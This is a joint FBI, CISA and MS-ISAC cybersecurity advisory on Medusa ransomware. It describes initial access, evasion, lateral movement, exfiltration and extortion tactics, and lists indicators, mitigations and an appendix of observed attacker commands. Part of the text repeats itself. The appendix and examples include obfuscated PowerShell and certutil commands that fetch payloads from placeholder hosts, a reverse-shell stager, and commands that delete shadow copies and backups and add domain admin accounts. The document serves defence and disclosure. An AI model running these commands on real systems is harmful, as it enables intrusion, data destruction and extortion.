#StopRansomware: Medusa Ransomware

 ​Summary
Note: This joint Cybersecurity Advisory is part of an ongoing #StopRansomware effort to publish advisories for network defenders detailing various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.
The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) are releasing this joint advisory to disseminate known Medusa ransomware TTPs and IOCs, identified through FBI investigations as recently as February 2025. 
Medusa is a ransomware-as-a-service (RaaS) variant first identified in June 2021. As of February 2025, Medusa developers and affiliates have impacted over 300 victims from a variety of critical infrastructure sectors with affected industries including medical, education, legal, insurance, technology, and manufacturing. The Medusa ransomware variant is unrelated to the MedusaLocker variant and the Medusa mobile malware variant per the FBI’s investigation.
FBI, CISA, and MS-ISAC encourage organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of Medusa ransomware incidents.
Download the PDF version of this report:
For a downloadable list of IOCs, see:

AA25-071A STIX XML
(XML, 34.30 KB
)

AA25-071A STIX JSON
(JSON, 42.28 KB
)

Technical Details
Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 16. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.
Background
The RaaS Medusa variant has been used to conduct ransomware attacks from 2021 to present. Medusa originally operated as a closed ransomware variant, meaning all development and associated operations were controlled by the same group of cyber threat actors. While Medusa has since progressed to using an affiliate model, important operations such as ransom negotiation are still centrally controlled by the developers. Both Medusa developers and affiliates—referred to as “Medusa actors” in this advisory—employ a double extortion model, where they encrypt victim data and threaten to publicly release exfiltrated data if a ransom is not paid.
Initial Access
Medusa developers typically recruit initial access brokers (IABs) in cybercriminal forums and marketplaces to obtain initial access [TA0001] to potential victims. Potential payments between $100 USD and $1 million USD are offered to these affiliates with the opportunity to work exclusively for Medusa. Medusa IABs (affiliates) are known to make use of common techniques, such as:

Phishing campaigns as a primary method for stealing victim credentials [T1566].
Exploitation of unpatched software vulnerabilities [T1190] through Common Vulnerabilities and Exposures (CVEs) such as the ScreenConnect vulnerability CVE-2024-1709 [CWE-288: Authentication Bypass Using an Alternate Path or Channel] and Fortinet EMS SQL injection vulnerability [CVE-2023-48788 [CWE 89: SQL Injection].

Discovery
Medusa actors use living off the land (LOTL) and legitimate tools Advanced IP Scanner and SoftPerfect Network Scanner for initial user, system, and network enumeration. Once a foothold in a victim network is established, commonly scanned ports include:

21 (FTP)
22 (SSH)
23 (Telnet)
80 (HTTP)
115 (SFTP)
443 (HTTPS)
1433 (SQL database)
3050 (Firebird database)
3128 (HTTP web proxy)
3306 (MySQL database)
3389 (RDP)

Medusa actors primarily use PowerShell [T1059.001] and the Windows Command Prompt (cmd.exe) [T1059.003] for network [T1046] and filesystem enumeration [T1083] and to utilize Ingress Tool Transfer capabilities [T1105]. Medusa actors use Windows Management Instrumentation (WMI) [T1047] for querying system information.
Defense Evasion
Medusa actors use LOTL to avoid detection [TA0005]. (See Appendix A for associated shell commands observed during FBI investigations of Medusa victims.) Certutil (certutil.exe) is used to avoid detection when performing file ingress.
Actors have been observed using several different PowerShell detection evasion techniques with increasing complexity, which are provided below. Additionally, Medusa actors attempt to cover their tracks by deleting the PowerShell command line history [T1070.003].
In this example, Medusa actors use a well-known evasion technique that executes a base64 encrypted command [T1027.013] using specific execution settings.

powershell -exec bypass -enc <base64 encrypted command string>

In another example, the DownloadFile string is obfuscated by slicing it into pieces and referencing it via a variable [T1027].

powershell -nop -c $x = ‘D’ + ‘Own’ + ‘LOa’ + ‘DfI’ + ‘le’; Invoke-Expression (New-Object Net.WebClient).$x.Invoke(http://<ip>/<RAS tool>.msi)

In the final example, the payload is an obfuscated base64 string read into memory, decompressed from gzip, and used to create a scriptblock. The base64 payload is split using empty strings and concatenation, and uses a format operator (-f) followed by three arguments to specify character replacements in the base64 payload.

powershell -nop -w hidden -noni -ep bypass &([scriptblock]::create((
New-Object System.IO.StreamReader(
New-Object System.IO.Compression.GzipStream((
New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(
((‘<base64 payload string>’)-f'<character replacement 0>’,'<character replacement 1>’, ‘<character replacement 2>’)))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))

The obfuscated base64 PowerShell payload is identical to powerfun.ps1, a publicly available stager script that can create either a reverse or bind shell over TLS to load additional modules. In the bind shell, the script awaits a connection on local port 443 [T1071.001], and initiates a connection to a remote port 443 in the reverse shell.
In some instances, Medusa actors attempted to use vulnerable or signed drivers to kill or delete endpoint detection and response (EDR) tools [T1562.001].
FBI has observed Medusa actors using the following tools to support command and control (C2) and evade detection:

Ligolo.

A reverse tunneling tool often used to create secure connections between a compromised host and threat actor’s machine.

Cloudflared.

Formerly known as ArgoTunnel.
Used to securely expose applications, services, or servers to the internet via Cloudflare Tunnel without exposing them directly.

Lateral Movement and Execution
Medusa actors use a variety of legitimate remote access software [T1219]; they may tailor their choice based on any remote access tools already present in the victim environment as a means of evading detection. Investigations identified Medusa actors using remote access software AnyDesk, Atera, ConnectWise, eHorus, N-able, PDQ Deploy, PDQ Inventory, SimpleHelp, and Splashtop. Medusa uses these tools—in combination with Remote Desktop Protocol (RDP) [T1021.001] and PsExec [T1569.002]—to move laterally [TA0008] through the network and identify files for exfiltration [TA0010] and encryption [T1486]. When provided with valid username and password credentials, Medusa actors use PsExec to:

Copy (-c) one script from various batch scripts on the current machine to the remote machine and execute it with SYSTEM level privileges (-s).
Execute an already existing local file on a remote machine with SYSTEM level privileges.
Execute remote shell commands using cmd /c.

One of the batch scripts executed by PsExec is openrdp.bat, which first creates a new firewall rule to allow inbound TCP traffic on port 3389:

netsh advfirewall firewall add rule name=”rdp” dir=in protocol=tcp localport=3389 action=allow

Then, a rule to allow remote WMI connections is created:

netsh advfirewall firewall set rule group=”windows management instrumentation (wmi)” new enable=yes

Finally, the registry is modified to allow Remote Desktop connections:

reg add “HKLMSYSTEMCurrentControlSetControlTerminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f

Mimikatz has also been observed in use for Local Security Authority Subsystem Service (LSASS) dumping [T1003.001] to harvest credentials [TA0006] and aid lateral movement.
Exfiltration and Encryption
Medusa actors install and use Rclone to facilitate exfiltration of data to the Medusa C2 servers [T1567.002] used by actors and affiliates. The actors use Sysinternals PsExec, PDQ Deploy, or BigFix [T1072] to deploy the encryptor, gaze.exe, on files across the network—with the actors disabling Windows Defender and other antivirus services on specific targets. Encrypted files have a .medusa file extension. The process gaze.exe terminates all services [T1489] related to backups, security, databases, communication, file sharing and websites, then deletes shadow copies [T1490] and encrypts files with AES-256 before dropping the ransom note. The actors then manually turn off [T1529] and encrypt virtual machines and delete their previously installed tools [T1070].
Extortion
Medusa RaaS employs a double extortion model, where victims must pay [T1657] to decrypt files and prevent further release. The ransom note demands victims make contact within 48 hours via either a Tor browser based live chat, or via Tox, an end-to-end encrypted instant-messaging platform. If the victim does not respond to the ransom note, Medusa actors will reach out to them directly by phone or email. Medusa operates a .onion data leak site, divulging victims alongside countdowns to the release of information. Ransom demands are posted on the site, with direct hyperlinks to Medusa affiliated cryptocurrency wallets. At this stage, Medusa concurrently advertises sale of the data to interested parties before the countdown timer ends. Victims can additionally pay $10,000 USD in cryptocurrency to add a day to the countdown timer.
FBI investigations identified that after paying the ransom, one victim was contacted by a separate Medusa actor who claimed the negotiator had stolen the ransom amount already paid and requested half of the payment be made again to provide the “true decryptor”— potentially indicating a triple extortion scheme.
Indicators of Compromise
Table 1 lists the hashes of malicious files obtained during investigations.

Table 1: Malicious Files

Files
Hash (MD5)
Description

!!!READ_ME_MEDUSA!!!.txt
Redacted
Ransom note file

openrdp.bat
44370f5c977e415981febf7dbb87a85c
Allows incoming RDP and remote WMI connections

pu.exe
80d852cd199ac923205b61658a9ec5bc
Reverse shell

Table 2 includes email addresses used by Medusa actors to extort victims; they are exclusively used for ransom negotiation and contacting victims following compromise. These email addresses are not associated with phishing activity conducted by Medusa actors.

Table 2: Medusa Email Addresses

Email Addresses
Description

key.medusa.serviceteam@protonmail.com
Used for ransom negotiation

medusa.support@onionmail.org
Used for ransom negotiation

mds.svt.breach@protonmail.com
Used for ransom negotiation

mds.svt.mir2@protonmail.com
Used for ransom negotiation

MedusaSupport@cock.li
Used for ransom negotiation

MITRE ATT&CK Tactics and Techniques
See Table 3 – Table 11 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 3: Initial Access

Technique Title
ID
Use

Exploit Public-Facing Application
T1190
Medusa actors exploited unpatched software or n-day vulnerabilities through common vulnerabilities and exposures.

Initial Access
TA0001
Medusa actors recruited initial access brokers (IABS) in cybercriminal forums and marketplaces to obtain initial access.

Phishing
T1566
Medusa IABS used phishing campaigns as a primary method for delivering ransomware to victims.

Table 4: Defense Evasion

Technique Title
ID
Use

Indicator Removal: Clear Command History
T1070.003
Medusa actors attempt to cover their tracks by deleting the PowerShell command line history.

Obfuscated Files or Information: Encrypted/Encoded File
T1027.013
Medusa actors use a well-known evasion technique that executes a base64 encrypted command.

Obfuscated Files or Information
T1027
Medusa actors obfuscated a string by slicing it into pieces and referencing it via a variable.

Indicator Removal
T1070
Medusa actors deleted their previous work and tools installed. 

Impair Defenses: Disable or Modify Tools
T1562.001
Medusa actors killed or deleted endpoint detection and response tools.

Table 5: Discovery

Technique Title
ID
Use

Network Service Discovery
T1046
Medusa actors utilized living of the land techniques to perform network enumeration.

File and Directory Discovery
T1083
Medusa actors utilized Windows Command Prompt for filesystem enumeration.

Network Share Discovery
T1135
Medusa actors queried shared drives on the local system to gather sources of information.

System Network Configuration Discovery
T1016
Medusa actors used operating system administrative utilities to gather network information.

System Information Discovery
T1082
Medusa actors used the command systeminfo to gather detailed system information.

Permission Groups Discovery: Domain Groups
T1069.002
Medusa actors attempt to find domain-level group and permission settings.

Table 6: Credential Access

Technique Title
ID
Use

Credential Access
TA0006
Medusa actors harvest credentials with tools like Mimikatz to gain access to systems.

OS Credential Dumping: LSASS Memory
T1003.001
Medusa actors were observed accessing credential material stored in process memory or Local Security Authority Subsystem Service (LSASS) using Mimkatz.

Table 7: Lateral Movement and Execution

Technique Title
ID
Use

Lateral Movement
TA0008
Medusa actors performed techniques to move laterally without detection once they gained initial access.

Command and Scripting Interpreter: PowerShell
T1059.001
Medusa actors used PowerShell, a powerful interactive command-line interface and scripting environment for ingress, network, and filesystem enumeration.

Command and Scripting Interpreter: Windows Command Shell
T1059.003
Medusa actors used Windows Command Prompt—which can be used to control almost any aspect of a system—for ingress, network, and filesystem enumeration. 

Software Deployment Tools
T1072
Medusa Actors used PDQ Deploy and BigFix to deploy the encryptor on files across the network.

Remote Services: Remote Desktop Protocol
T1021.001
Medusa actors used Remote Desktop Protocol (RDP), a common feature in operating systems, to log into an interactive session with a system and move laterally.

System Services
T1569.002
Medusa actors used Sysinternals PsExec to deploy the encryptor on files across the network.

Windows Management Instrumentation
T1047
Medusa actors abused Windows Management Instrumentation to query system information.

Table 8: Exfiltration and Encryption

Technique Title 
ID
Use

Exfiltration
TA0010
Medusa actors identified files to exfiltrate out of victim networks.

Exfiltration Over Web Service: Exfiltration to Cloud Storage
T1567.002
Medusa actors used Rclone to facilitate exfiltration of data to the Medusa C2 servers.

Table 9: Command and Control

Technique Title
ID
Use

Ingress Tool Transfer
T1105
Medusa actors used PowerShell, Windows Command Prompt, and certutil for file ingress.

Application Layer Protocol: Web Protocols 
T1071.001
Medusa actors communicate using application layer protocols associated with web traffic. In this case, Medusa actors used scripts that created reverse or bind shells over port 443: HTTPS.

Remote Access Software
T1219
Medusa actors used remote access software to move laterally through the network.

Table 10: Persistence

Technique Title
ID
Use

Create Account
T1136.002
Medusa actors created a domain account to maintain access to victim systems.

Table 11: Impact

Technique Title
ID
Use

Data Encrypted for Impact
T1486
Medusa identified and encrypted data on target systems to interrupt availability to system and network resources.

Inhibit System Recovery
T1490
The process gaze.exe terminates all services then deletes shadow copies and encrypts files with AES-256 before dropping the ransom note.

Financial Theft
T1657
Victims must pay to decrypt files and prevent further release by Medusa actors.

System Shutdown/Reboot
T1529
Medusa actors manually turned off and encrypted virtual machines.

Service Stop
T1489
The process gaze.exe terminates all services related to backups, security, databases, communication, file sharing, and websites,

Mitigations
FBI, CISA, and MS-ISAC recommend organizations implement the mitigations below to improve cybersecurity posture based on threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (e.g., hard drive, storage device, the cloud) [CPG 2.F, 2.R, 2.S].
Require all accounts with password logins (e.g., service accounts, admin accounts, and domain admin accounts) to comply with NIST’s standards. In particular, require employees to use long passwords and consider not requiring frequently recurring password changes, as these can weaken security [CPG 2.C].
Require multifactor authentication for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems [CPG 2.H].
Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E].
Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement [CPG 2.F].
Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host [CPG 3.A].
Require VPNs or Jump Hosts for remote access.
Monitor for unauthorized scanning and access attempts.
Filter network traffic by preventing unknown or untrusted origins from accessing remote services on internal systems. This prevents threat actors from directly connecting to remote access services that they have established for persistence.
Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege [CPG 2.E].
Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts [CPG 1.A, 2.O].
Disable command-line and scripting activities and permissions. Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally [CPG 2.E, 2.N].
Disable unused ports[CPG 2.V].
Maintain offline backups of data, and regularly maintain backup and restoration [CPG 2.R]. By instituting this practice, the organization helps ensure they will not be severely interrupted and/or only have irretrievable data.
Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 2.K, 2.L, 2.R].

Validate Security Controls
In addition to applying mitigations, the FBI, CISA, and MS-ISAC recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. The FBI, CISA, and MS-ISAC recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:

Select an ATT&CK technique described in this advisory (Table 3 to Table 11).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The FBI, CISA, and MS-ISAC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
Resources

Joint #StopRansomware Guide.
Joint Guide Identifying and Mitigating Living Off the Land Techniques.
Joint Guide to Securing Remote Access Software.

Reporting
Your organization has no obligation to respond or provide information back to FBI in response to this joint advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.
FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.
Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.
The FBI, CISA, and MS-ISAC do not encourage paying ransoms as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI, CISA, and MS-ISAC urge you to promptly report ransomware incidents to FBI’s Internet Crime Complaint Center (IC3), a local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov) or by calling 1-844-Say-CISA (1-844-729-2472).
Disclaimer
The information in this report is being provided “as is” for informational purposes only. The FBI, CISA, and MS-ISAC do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the FBI, CISA, and MS-ISAC.
Acknowledgements
ConnectWise contributed to this advisory.
Version History
March 12, 2025: Initial version.
Appendix A: Medusa Commands
These commands explicitly demonstrate the methods used by Medusa threat actors once they obtain a foothold inside a victim network. Incident responders and threat hunters can use this information to detect malicious activity. System administrators can use this information to design allowlist/denylist policies or other protective mechanisms.

cmd.exe /c certutil -f urlcache https://<domain>/<remotefile>.css <localfile>.dll

cmd.exe /c certutil -f urlcache https://<domain>/<remotefile>.msi <localfile>.msi

cmd.exe /c driverquery

cmd.exe /c echo Computer: %COMPUTERNAME% & `echo Username: %USERNAME% & `echo Domain: %USERDOMAIN% & `echo Logon Server: %LOGONSERVER% & `echo DNS Domain: %USERDNSDOMAIN% & `echo User Profile: %USERPROFILE% & echo `System Root: %SYSTEMROOT%

cmd.exe /c ipconfig /all [T1016]

cmd.exe /c net share [T1135]

cmd.exe /c net use

cmd.exe /c netstat -a

cmd.exe /c sc query

cmd.exe /c schtasks

cmd.exe /c systeminfo [T1082]

cmd.exe /c ver

cmd.exe /c wmic printer get caption,name,deviceid,drivername,portname

cmd.exe /c wmic printjob

mmc.exe compmgmt.msc /computer:{hostname/ip}

mstsc.exe /v:{hostname/ip}

mstsc.exe /v:{hostname/ip} /u:{user} /p:{pass}

powershell -exec bypass -enc <base64 encrypted command string>

powershell -nop -c $x = ‘D’ + ‘Own’ + ‘LOa’ + ‘DfI’ + ‘le’; Invoke-Expression (New-Object Net.WebClient).$x.Invoke(http://<ip>/<RMM tool>.msi)

powershell -nop -w hidden -noni -ep bypass &([scriptblock]::create((
New-Object System.IO.StreamReader(
New-Object System.IO.Compression.GzipStream((
New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(
((‘<base64 payload string>’)-f'<character replacement 0>’,
‘<character replacement 1>’,'<character replacement 2>’)))),
[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))

powershell Remove-Item (Get-PSReadlineOption).HistorySavePath

powershell Get-ADComputer -Filter * -Property * | Select-Object Name,OperatingSystem,OperatingSystemVersion,Description,LastLogonDate,
logonCount,whenChanged,whenCreated,ipv4Address | Export-CSV -Path <file path> 
-NoTypeInformation -Encoding UTF8

psexec.exe -accepteula -nobanner -s \{hostname/ip} “c:windowssystem32taskkill.exe” /f /im WRSA.exe

psexec.exe -accepteula -nobanner -s \{hostname/ip} -c coba.bat

psexec.exe -accepteula -nobanner -s \{hostname/ip} -c openrdp.bat

psexec.exe -accepteula -nobanner -s \{hostname/ip} -c StopAllProcess.bat

psexec.exe -accepteula -nobanner -s \{hostname/ip} -c zam.bat

psexec.exe -accepteula -nobanner -s \{hostname/ip} c:tempx.bat

psexec.exe -accepteula -nobanner -s \{hostname/ip} cmd

psexec.exe -accepteula -nobanner -s \{hostname/ip} cmd /c   “c:gaze.exe”

psexec.exe -accepteula -nobanner -s \{hostname/ip} cmd /c  “copy \ad02sysvolgaze.exe c:gaze.exe

psexec.exe -accepteula -nobanner -s \{hostname/ip} cmd /c  “copy \ad02sysvolgaze.exe c:gaze.exe && c:gaze.exe”

psexec.exe -accepteula -nobanner -s \{hostname/ip} -u {user} -p {pass} -c coba.bat

psexec.exe -accepteula -nobanner -s \{hostname/ip} -u {user} -p {pass} -c hostname/ipwho.bat

psexec.exe -accepteula -nobanner -s \{hostname/ip} -u {user} -p {pass} -c openrdp.bat

psexec.exe -accepteula -nobanner -s \{hostname/ip} -u {user} -p {pass} -c zam.bat

psexec.exe -accepteula -nobanner -s \{hostname/ip} -u {user} -p {pass} cmd

psexec.exe -accepteula -nobanner -s \{hostname/ip} -u {user} -p {pass} -с newuser.bat

psexec.exe -accepteula -nobanner -s \{hostname/ip} -с duooff.bat

psexec.exe -accepteula -nobanner -s \{hostname/ip} -с hostname/ipwho.bat

psexec.exe -accepteula -nobanner -s \{hostname/ip} -с newuser.bat

psexec.exe -accepteula -nobanner -s \{hostname/ip} -с removesophos.bat

psexec.exe -accepteula -nobanner -s \{hostname/ip} -с start.bat

psexec.exe -accepteula -nobanner -s \{hostname/ip} -с uninstallSophos.bat

nltest /dclist:

net group “domain admins” /domain [T1069.002]

net group “Domain Admins” default /add /domain

net group “Enterprise Admins” default /add /domain

net group “Remote Desktop Users” default /add /domain

net group “Group Policy Creator Owners” default /add /domain

net group “Schema Admins” default /add /domain

net group “domain users” /domain

net user default /active:yes /domain

net user /add default <password> /domain [T1136.002]

query user

reg add HKLMSystemCurrentControlSetControlLsa /v DisableRestrictedAdmin /t REG_DWORD /d 0

systeminfo

vssadmin.exe Delete Shadows /all /quiet

vssadmin.exe resize shadowstorage /for=%s /on=%s /maxsize=unbounded

del /s /f /q %s*.VHD %s*.bac %s*.bak %s*.wbcat %s*.bkf %sBac kup*.* %sbackup*.* %s*.set %s*.win %s*.dsk

netsh advfirewall firewall add rule name=”rdp” dir=in protocol=tcp localport=3389 action=allow

netsh advfirewall firewall set rule group=”windows management instrumentation (wmi)” new enable=yes

reg add “HKLMSYSTEMCurrentControlSetControlTerminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f 

Summary

Note: This joint Cybersecurity Advisory is part of an ongoing #StopRansomware effort to publish advisories for network defenders detailing various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) are releasing this joint advisory to disseminate known Medusa ransomware TTPs and IOCs, identified through FBI investigations as recently as February 2025. 

Medusa is a ransomware-as-a-service (RaaS) variant first identified in June 2021. As of February 2025, Medusa developers and affiliates have impacted over 300 victims from a variety of critical infrastructure sectors with affected industries including medical, education, legal, insurance, technology, and manufacturing. The Medusa ransomware variant is unrelated to the MedusaLocker variant and the Medusa mobile malware variant per the FBI’s investigation.

FBI, CISA, and MS-ISAC encourage organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of Medusa ransomware incidents.

Download the PDF version of this report:

For a downloadable list of IOCs, see:

AA25-071A STIX XML
(XML, 34.30 KB
)

AA25-071A STIX JSON
(JSON, 42.28 KB
)

Technical Details

Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 16. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

Background

The RaaS Medusa variant has been used to conduct ransomware attacks from 2021 to present. Medusa originally operated as a closed ransomware variant, meaning all development and associated operations were controlled by the same group of cyber threat actors. While Medusa has since progressed to using an affiliate model, important operations such as ransom negotiation are still centrally controlled by the developers. Both Medusa developers and affiliates—referred to as “Medusa actors” in this advisory—employ a double extortion model, where they encrypt victim data and threaten to publicly release exfiltrated data if a ransom is not paid.

Initial Access

Medusa developers typically recruit initial access brokers (IABs) in cybercriminal forums and marketplaces to obtain initial access [TA0001] to potential victims. Potential payments between $100 USD and $1 million USD are offered to these affiliates with the opportunity to work exclusively for Medusa. Medusa IABs (affiliates) are known to make use of common techniques, such as:

Discovery

Medusa actors use living off the land (LOTL) and legitimate tools Advanced IP Scanner and SoftPerfect Network Scanner for initial user, system, and network enumeration. Once a foothold in a victim network is established, commonly scanned ports include:

  • 21 (FTP)
  • 22 (SSH)
  • 23 (Telnet)
  • 80 (HTTP)
  • 115 (SFTP)
  • 443 (HTTPS)
  • 1433 (SQL database)
  • 3050 (Firebird database)
  • 3128 (HTTP web proxy)
  • 3306 (MySQL database)
  • 3389 (RDP)

Medusa actors primarily use PowerShell [T1059.001] and the Windows Command Prompt (cmd.exe) [T1059.003] for network [T1046] and filesystem enumeration [T1083] and to utilize Ingress Tool Transfer capabilities [T1105]. Medusa actors use Windows Management Instrumentation (WMI) [T1047] for querying system information.

Defense Evasion

Medusa actors use LOTL to avoid detection [TA0005]. (See Appendix A for associated shell commands observed during FBI investigations of Medusa victims.) Certutil (certutil.exe) is used to avoid detection when performing file ingress.

Actors have been observed using several different PowerShell detection evasion techniques with increasing complexity, which are provided below. Additionally, Medusa actors attempt to cover their tracks by deleting the PowerShell command line history [T1070.003].

In this example, Medusa actors use a well-known evasion technique that executes a base64 encrypted command [T1027.013] using specific execution settings.

  • powershell -exec bypass -enc <base64 encrypted command string>

In another example, the DownloadFile string is obfuscated by slicing it into pieces and referencing it via a variable [T1027].

  • powershell -nop -c $x = 'D' + 'Own' + 'LOa' + 'DfI' + 'le'; Invoke-Expression (New-Object Net.WebClient).$x.Invoke(http://<ip>/<RAS tool>.msi)

In the final example, the payload is an obfuscated base64 string read into memory, decompressed from gzip, and used to create a scriptblock. The base64 payload is split using empty strings and concatenation, and uses a format operator (-f) followed by three arguments to specify character replacements in the base64 payload.

  • powershell -nop -w hidden -noni -ep bypass &([scriptblock]::create((
  • New-Object System.IO.StreamReader(
  • New-Object System.IO.Compression.GzipStream((
  • New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(
  • (('<base64 payload string>')-f'<character replacement 0>','<character replacement 1>', '<character replacement 2>')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))

The obfuscated base64 PowerShell payload is identical to powerfun.ps1, a publicly available stager script that can create either a reverse or bind shell over TLS to load additional modules. In the bind shell, the script awaits a connection on local port 443 [T1071.001], and initiates a connection to a remote port 443 in the reverse shell.

In some instances, Medusa actors attempted to use vulnerable or signed drivers to kill or delete endpoint detection and response (EDR) tools [T1562.001].

FBI has observed Medusa actors using the following tools to support command and control (C2) and evade detection:

  • Ligolo.
    • A reverse tunneling tool often used to create secure connections between a compromised host and threat actor’s machine.
  • Cloudflared.
    • Formerly known as ArgoTunnel.
    • Used to securely expose applications, services, or servers to the internet via Cloudflare Tunnel without exposing them directly.

Lateral Movement and Execution

Medusa actors use a variety of legitimate remote access software [T1219]; they may tailor their choice based on any remote access tools already present in the victim environment as a means of evading detection. Investigations identified Medusa actors using remote access software AnyDesk, Atera, ConnectWise, eHorus, N-able, PDQ Deploy, PDQ Inventory, SimpleHelp, and Splashtop. Medusa uses these tools—in combination with Remote Desktop Protocol (RDP) [T1021.001] and PsExec [T1569.002]—to move laterally [TA0008] through the network and identify files for exfiltration [TA0010] and encryption [T1486]. When provided with valid username and password credentials, Medusa actors use PsExec to:

  • Copy (-c) one script from various batch scripts on the current machine to the remote machine and execute it with SYSTEM level privileges (-s).
  • Execute an already existing local file on a remote machine with SYSTEM level privileges.
  • Execute remote shell commands using cmd /c.

One of the batch scripts executed by PsExec is openrdp.bat, which first creates a new firewall rule to allow inbound TCP traffic on port 3389:

  • netsh advfirewall firewall add rule name="rdp" dir=in protocol=tcp localport=3389 action=allow

Then, a rule to allow remote WMI connections is created:

  • netsh advfirewall firewall set rule group="windows management instrumentation (wmi)" new enable=yes

Finally, the registry is modified to allow Remote Desktop connections:

  • reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Mimikatz has also been observed in use for Local Security Authority Subsystem Service (LSASS) dumping [T1003.001] to harvest credentials [TA0006] and aid lateral movement.

Exfiltration and Encryption

Medusa actors install and use Rclone to facilitate exfiltration of data to the Medusa C2 servers [T1567.002] used by actors and affiliates. The actors use Sysinternals PsExec, PDQ Deploy, or BigFix [T1072] to deploy the encryptor, gaze.exe, on files across the network—with the actors disabling Windows Defender and other antivirus services on specific targets. Encrypted files have a .medusa file extension. The process gaze.exe terminates all services [T1489] related to backups, security, databases, communication, file sharing and websites, then deletes shadow copies [T1490] and encrypts files with AES-256 before dropping the ransom note. The actors then manually turn off [T1529] and encrypt virtual machines and delete their previously installed tools [T1070].

Extortion

Medusa RaaS employs a double extortion model, where victims must pay [T1657] to decrypt files and prevent further release. The ransom note demands victims make contact within 48 hours via either a Tor browser based live chat, or via Tox, an end-to-end encrypted instant-messaging platform. If the victim does not respond to the ransom note, Medusa actors will reach out to them directly by phone or email. Medusa operates a .onion data leak site, divulging victims alongside countdowns to the release of information. Ransom demands are posted on the site, with direct hyperlinks to Medusa affiliated cryptocurrency wallets. At this stage, Medusa concurrently advertises sale of the data to interested parties before the countdown timer ends. Victims can additionally pay $10,000 USD in cryptocurrency to add a day to the countdown timer.

FBI investigations identified that after paying the ransom, one victim was contacted by a separate Medusa actor who claimed the negotiator had stolen the ransom amount already paid and requested half of the payment be made again to provide the “true decryptor”— potentially indicating a triple extortion scheme.

Indicators of Compromise

Table 1 lists the hashes of malicious files obtained during investigations.

Table 1: Malicious Files
